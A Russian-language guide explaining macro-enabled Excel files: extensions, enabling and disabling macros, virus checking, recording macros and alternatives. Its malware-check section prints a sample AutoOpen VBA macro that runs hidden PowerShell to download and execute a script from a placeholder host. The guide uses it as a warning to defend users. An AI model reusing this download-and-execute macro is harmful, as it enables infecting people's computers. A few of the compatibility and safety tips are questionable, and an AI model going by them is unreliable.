Что значит файл Excel с поддержкой макросов: расширения, риски и инструкции

Файл Excel с поддержкой макросов — это документ, содержащий встроенные программы на языке VBA (Visual Basic for Applications), которые автоматизируют повторяющиеся задачи. Если вы пытаетесь открыть файл с расширением .xlsm или .xlsb, но видите предупреждение системы безопасности о блокировке макросов, это означает, что в документе есть исполняемый код. Такой формат отличается от стандартного .xlsx, который макросы не поддерживает.

Основная причина использования макросов — экономия времени. Например, они могут автоматически формировать отчёты, обрабатывать большие массивы данных или интегрироваться с другими программами. Однако макросы — главный вектор атаки для вирусов типа Emotet или TrickBot, которые маскируются под легитимные файлы. Поэтому Microsoft Office по умолчанию блокирует их выполнение, требуя явного разрешения пользователя.

Если вы получили такой файл от коллеги или скачали из ненадёжного источника, его открытие без проверки может привести к заражению системы. Далее разберём, как отличить безопасные макросы от вредоносных, какие расширения бывают у таких файлов и как правильно с ними работать.

Расширения файлов Excel с макросами: чем отличаются XLSM, XLSB и XLAM

В Microsoft Excel существует три основных формата файлов, поддерживающих макросы. Их расширения указывают не только на наличие кода VBA, но и на особенности хранения данных:

  • 📁 .xlsmMacro-Enabled Workbook. Стандартный формат для книг с макросами, совместимый с Excel 2007 и новее. Хранит данные в открытом XML-формате, но может содержать скрытый код.
  • 📊 .xlsbBinary Workbook. Двоичный формат, оптимизированный для больших файлов (быстрее открывается и занимает меньше места). Поддерживает макросы, но несовместим с Excel для Mac до версии 2016.
  • 🔧 .xlamAdd-In. Файл надстройки, который подключается к Excel для расширения функционала (например, пользовательские функции). Не виден в обычном интерфейсе, работает в фоновом режиме.

Если вы сохраните файл с макросами в формате .xlsx, Excel автоматически удалит весь код VBA, оставив только данные. Это полезно для передачи документов сторонним пользователям, которым не нужны макросы. Однако обратное преобразование (из .xlsx в .xlsm) не восстановит удалённый код.

Расширение Тип файла Поддержка макросов Особенности
.xlsm Книга с макросами Да Совместим с Excel 2007+, XML-формат
.xlsb Двоичная книга Да Быстрая загрузка, меньший размер, не для Mac
.xlam Надстройка Да Подключается через Файл → Параметры → Надстройки
.xls Устаревший формат (до 2007) Да Ограничение на 65 536 строк, не рекомендуется

⚠️ Внимание: Файлы с расширением .xls (старый формат) тоже поддерживают макросы, но уязвимы для атак из-за отсутствия современных механизмов защиты. Если вам пришёл такой файл, лучше сразу конвертировать его в .xlsm через Файл → Сохранить как.

Как включить макросы в Excel: пошаговая инструкция

По умолчанию Excel блокирует выполнение макросов из-за рисков безопасности. Чтобы их запустить, нужно явно разрешить это в настройках. Вот как это сделать в разных версиях программы:

  1. Открытие файла с предупреждением:
    1. Дважды кликните по файлу .xlsm или .xlsb.
    2. Под лентой появится жёлтая панель с кнопкой Включить содержимое (или Options в английской версии).
    3. Нажмите на неё и выберите Включить всё содержимое.
  2. Настройка центра управления безопасностью:
    1. Перейдите в Файл → Параметры → Центр управления безопасностью → Параметры центра....
    2. Выберите Параметры макросов.
    3. Установите переключатель в положение Включить все макросы (не рекомендуется для постоянного использования!) или Отключить макросы с уведомлением.

Исходник файла надёжен (коллега, официальный сайт)|

Файл просканирован антивирусом (например, Kaspersky или Dr.Web)|

Включена функция "Защищённый просмотр" в Excel|

Создана резервная копия важных данных на случай сбоя-->

⚠️ Внимание: Если вы выбрали Включить все макросы глобально, ваш компьютер становится уязвим для атак. Лучше использовать опцию Отключить макросы с уведомлением и разрешать их выполнение только для проверенных файлов.

В Excel Online (веб-версия) макросы не работают — для их запуска требуется настольная версия программы. Если вам нужно редактировать файл с макросами в браузере, сначала сохраните его без макросов (.xlsx).

Как проверить файл Excel на вирусы перед открытием

Макросы — излюбленный инструмент хакеров для распространения вредоносного ПО. Чтобы избежать заражения, следуйте этому алгоритму:

  • 🛡️ Проверьте источник. Файл от неизвестного отправителя или с подозрительным именем (например, Счёт_оплата.xlsm) должен насторожить. Легитимные документы редко рассылают с макросами.
  • 🔍 Используйте VirusTotal. Загрузите файл на сайт VirusTotal — сервис просканирует его 70+ антивирусами. Обратите внимание на результаты от Kaspersky, ESET и Microsoft.
  • 📂 Откройте в "Песочнице". Виртуальные машины (VirtualBox, VMware) или сервис Windows Sandbox (встроен в Windows 10/11 Pro) позволят безопасно протестировать файл.
  • 📊 Просмотрите код макроса. Нажмите Alt + F11, чтобы открыть редактор VBA. Подозрительные строки: Shell, WScript, CreateObject("WScript.Shell") или зашифрованный код (например, Base64).
Пример опасного кода в макросе

Sub AutoOpen()

Dim x As String

x = "powershell -nop -ep bypass -c ""IEX (New-Object Net.WebClient).DownloadString('http://malicious-site.com/payload.ps1')"""

Shell x, vbHide

End Sub

Этот код скачивает и выполняет вредоносный скрипт с удалённого сервера.

Если вы не уверены в безопасности файла, но нужно извлечь данные, сделайте следующее:

  1. Сохраните копию файла с расширением .zip (переименуйте .xlsm.zip).
  2. Откройте архив и найдите папку xl → файл vbaProject.bin. Это и есть макросы — удалите его.
  3. Сохраните изменения, верните расширение .xlsm и откройте файл. Макросы исчезнут, а данные останутся.

Как создать макрос в Excel: базовый пример

Если вам нужно автоматизировать рутинные действия, например, форматирование отчётов, можно записать простой макрос. Вот как это сделать:

  1. Включите вкладку "Разработчик":
    1. Перейдите в Файл → Параметры → Настройка ленты.
    2. Отметьте галочкой Разработчик и нажмите OK.
  2. Запишите макрос:
    1. На вкладке Разработчик нажмите Запись макроса.
    2. Присвойте имя (например, ФорматироватьТаблицу), выберите место сохранения (Эта книга) и нажмите OK.
    3. Выполните действия, которые нужно автоматизировать (например, измените шрифт, цвет ячеек).
    4. Нажмите Остановить запись.

Теперь макрос сохранён. Чтобы запустить его, нажмите Разработчик → Макросы, выберите нужный и кликните Выполнить. Для примера ниже код макроса, который добавляет текущую дату в ячейку A1:

Sub ДобавитьДату()

Range("A1").Value = Date

Range("A1").Font.Bold = True

End Sub

⚠️ Внимание: Записанные макросы сохраняют абсолютные ссылки на ячейки. Если вам нужно, чтобы макрос работал с выделенным диапазоном, перед записью выберите Относительные ссылки на панели Разработчик.

Никогда не пользовался|

Редко, для простых задач|

Часто, для автоматизации отчётов|

Пишу сложные скрипты на VBA-->

Чем опасен файл Excel с макросами: реальные примеры атак

Хакеры активно эксплуатируют макросы для распространения вирусов-шифровальщиков, шпионского ПО и ботнетов. Вот наиболее распространённые сценарии:

  • 💣 Emotet. Троян, крадущий банковские данные и рассылающий себя по контактам жертвы. Распространяется через файлы .xlsm с названиями вроде Invoice_#12345.xlsm.
  • 🕵️ TrickBot. Модульный вирус, который после заражения скачивает дополнительные payloads (например, Ryuk — шифровальщик). Часто маскируется под документы от бухгалтерии.
  • 🔒 QakBot. Вирус, крадущий учётные данные из браузеров и email-клиентов. Использует уязвимости в VBA для обхода защиты.

Типичная схема заражения:

  1. Жертва получает письмо с вложением .xlsm (например, "Счёт на оплату").
  2. При открытии файла появляется сообщение: "Включите макросы для корректного отображения".
  3. После включения макросы скачивают вредоносный скрипт с удалённого сервера.
  4. Скрипт устанавливает бэкдор или шифрует файлы на компьютере.

🔹 Признаки заражённого файла:

  • Несоответствие имени файла и содержимого (например, Договор.pdf.xlsm).
  • Требование включить макросы для "просмотра документа".
  • Наличие скрытых листов или очень маленького размера файла (несколько КБ).
  • Ошибки при попытке просмотреть код макроса (Alt + F11).

1. Отключите компьютер от сети.

2. Запустите полную проверку антивирусом.

3. Восстановите систему из резервной копии (если есть).

4. Смените пароли от важных сервисов (email, банк).-->

Как отключить макросы в Excel навсегда (для безопасности)

Если вы не используете макросы, их лучше отключить глобально. Это защитит вас от случайного запуска вредоносного кода. Сделать это можно через Центр управления безопасностью:

  1. Откройте Excel и перейдите в Файл → Параметры → Центр управления безопасностью → Параметры центра....
  2. Выберите Параметры макросов.
  3. Установите переключатель в положение Отключить все макросы без уведомления.
  4. Нажмите OK и перезапустите Excel.

После этого все файлы с макросами будут открываться без их выполнения. Если вам понадобится запустить легитимный макрос, временно верните настройку в Отключить макросы с уведомлением.

⚠️ Внимание: В организациях часто используют групповую политику (Group Policy) для управления макросами. Если опция Параметры макросов заблокирована, обратитесь к администратору сети.

Альтернативы макросам: когда их не нужно использовать

Макросы на VBA — не единственный способ автоматизации в Excel. В многих случаях их можно заменить более безопасными инструментами:

Задача Альтернатива макросам Преимущества
Автоматическое форматирование Условное форматирование (Главная → Условное форматирование) Не требует включения макросов, работает в Excel Online
Поиск и замена данных Функции НАЙТИ, ЗАМЕНИТЬ или Power Query Безопасно, поддерживается во всех версиях
Создание отчётов Сводные таблицы (Вставка → Сводная таблица) Интерактивность без риска заражения
Интеграция с внешними данными Power Query (Данные → Получить данные) Поддерживает API, не требует VBA

Если вам нужна сложная логика, рассмотрите использование Office Scripts (доступно в Excel Online для подписчиков Microsoft 365). Это современная альтернатива VBA, работающая в облаке и не требующая включения макросов.

🔹 Когда макросы оправданы:

  • 📈 Сложные вычисления, недоступные стандартными функциями.
  • 🤖 Интеграция с другими программами (например, , SAP).
  • 🎛️ Создание пользовательских форм ввода данных.

FAQ: Частые вопросы о файлах Excel с макросами

Можно ли открыть файл .xlsm на Mac?

Да, но с оговорками:

  • Excel для Mac (версии 2016 и новее) поддерживает .xlsm, но некоторые функции VBA могут работать некорректно.
  • Файлы .xlsb на Mac не открываются — их нужно конвертировать в .xlsm на Windows.
  • Для запуска макросов может потребоваться дополнительная настройка безопасности (включение в Системные настройки → Защита и безопасность).
Почему при открытии файла .xlsm появляется ошибка "Недопустимый формат файла"?

Эта ошибка возникает по нескольким причинам:

  • Файл повреждён (например, при скачивании или копировании). Попробуйте восстановить его через Файл → Открыть → Выбрать файл → стрелка рядом с "Открыть" → Открыть и восстановить.
  • Файл сохранён в несовместимой версии Excel (например, в Excel 2019, а вы открываете в Excel 2010). Сохраните его в формате .xlsb для обратной совместимости.
  • В файле содержатся недопустимые символы в имени листа или макроса. Откройте файл в блокноте (переименовав в .zip) и проверьте структуру.
Как удалить макросы из файла, сохранив данные?

Есть три способа:

  1. Сохранить как .xlsx:
    1. Откройте файл в Excel.
    2. Выберите Файл → Сохранить как.
    3. В поле "Тип файла" укажите Книга Excel (*.xlsx).
  2. Удалить вручную:
    1. Нажмите Alt + F11, чтобы открыть редактор VBA.
    2. В окне Project Explorer найдите модули с кодом, кликните правой кнопкой и выберите Remove.
    3. Сохраните файл (Ctrl + S).
  3. Использовать PowerShell:
    $excel = New-Object -ComObject Excel.Application
    

    $workbook = $excel.Workbooks.Open("C:\путь\к\файлу.xlsm")

    $workbook.SaveAs("C:\путь\к\файлу.xlsx", 51) # 51 = формат xlsx

    $excel.Quit()

Можно ли запустить макросы в Google Таблицах?

Нет, Google Таблицы не поддерживают VBA. Однако есть альтернативы:

  • Google Apps Script — аналог макросов на основе JavaScript. Доступен через Расширения → Apps Script.
  • Импорт данных из .xlsm возможен, но макросы будут удалены.
  • Надстройки из Google Workspace Marketplace (например, Power Tools для автоматизации).

Чтобы перенести макрос из Excel в Google Таблицы, его нужно переписать на Google Apps Script.

Как защитить свой файл с макросами от изменений?

Чтобы предотвратить несанкционированное редактирование кода или данных:

  • Защита листа: Кликните правой кнопкой по названию листа → Защитить лист. Установите пароль.
  • Защита книги: Рецензирование → Защитить книгу (заблокирует добавление/удаление листов).
  • Защита кода VBA: В редакторе VBA (Alt + F11) выберите Tools → VBAProject Properties → Protection, установите пароль.
  • Цифровая подпись: Подпишите макрос сертификатом (требуется покупка или корпоративный сертификат).

⚠️ Внимание: Пароль на код VBA легко сбросить с помощью сторонних утилит (например, VBA Password Remover). Для серьёзной защиты используйте шифрование всего файла (Файл → Сведения → Защитить книгу → Зашифровать паролем).